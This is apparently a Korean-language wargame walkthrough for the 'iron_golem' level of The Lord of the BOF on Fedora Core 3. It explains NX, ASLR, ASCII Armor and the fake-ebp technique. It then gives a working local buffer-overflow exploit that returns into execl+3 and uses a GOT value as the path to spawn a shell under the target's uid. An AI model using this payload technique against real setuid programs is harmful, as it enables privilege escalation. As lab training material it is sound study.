/*
The Lord of the BOF : The Fellowship of the BOF
- iron_golem
- Local BOF on Fedora Core 3
- hint : fake ebp
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
겉보기에는 엄청 간단해 보인다.
하지만 fedora fc3 부터는 메모리 보호 기법이 걸려있기 때문에 lob 처럼 쉽게 권한을 얻을 순 없다.
fc3에는 NX, ASLR, Ascii Armor, Stack dummy 가 추가되어있다.
간단하게 알아보면 다음과 같다.
NX : 스택 공간의 코드 실행 불가
ASLR : 스택의 주소가 랜덤으로 바뀜
Ascii Armor : libc 의 최상단 주소가 Null 값으로 셋팅되어 연속적인 함수 호출 불가능
Stack Dummy : gcc 상위 버전 사용 시 더미 값 추가
즉, 이때까지 lob에서 스택에 쉘 코드를 넣고 권한을 얻어내는 방법은 안된다.
Hint로 "fake ebp"가 주어졌는데
"fake ebp"는 우리가 overflow 시킨 SFP(Stack frame pointer) 영역이
leave(mov esp, ebp / pop ebp)를 만나 ebp를 원하는 값으로 바꿀 수 있음을 이용하는 것이다.
ebp는 스택의 기준점으로 인자 전달을 할 때도 사용된다.
공격 벡터를 생각해보면 RTL은 Ascii Armor때문에 한 번 밖에 실행할 수밖에없다.
그렇기 때문에 RTL로 적당한 라이브러리를 실행 시켜 조정한 ebp를 통해 적당한 인자를 넘겨주면 된다.
여기서 사용될 라이브러리는 exec 계열의 execl()함수다.
int execl(const char *path, const char *arg, ...);
execl의 인자로 전달할 만한 값을 찾아야 하는데 got의 주소를 이용한다.
[gate@Fedora_1stFloor ~]$ objdump -h ./iron_golem
gdb를 통해 got의 값을 확인해 보면 다음과 같다.
[gate@Fedora_1stFloor ~]$ gdb -q ./iron_golem
0x8049618 <_GLOBAL_OFFSET_TABLE_>: 0x0804954c 0x00000000 0x00000000 0x080482ee
0x804954c <_DYNAMIC>: 0x00000001 << execl 첫번 째 인자
같은 path에 "\x01" 값을 가진 파일을 실행해준다.
그러면 이제 실행자의 권한으로 "/bin/sh"를 실행시키는 파일을 만든 뒤 이름을 "\x01"로 고쳐주면 된다.
[gate@Fedora_1stFloor ~]$ vi ./shell.c
이제 ret 섹션을 덮을 execl의 주소를 구하면 되는데
ebp의 기준점으로 인자를 받아오기 때문에 프롤로그 과정을 없애야 한다.
0x007a5720 <execl+0>: push %ebp
0x007a5721 <execl+1>: mov %esp,%ebp
0x007a5723 <execl+3>: lea 0x10(%ebp),%ecx
payload = ./iron_golem "`python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`"
[gate@Fedora_1stFloor ~]$ ./iron_golem "`python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'`"
sh-3.00$ id
uid=501(iron_golem) gid=500(gate) groups=500(gate) context=user_u:system_r:unconfined_t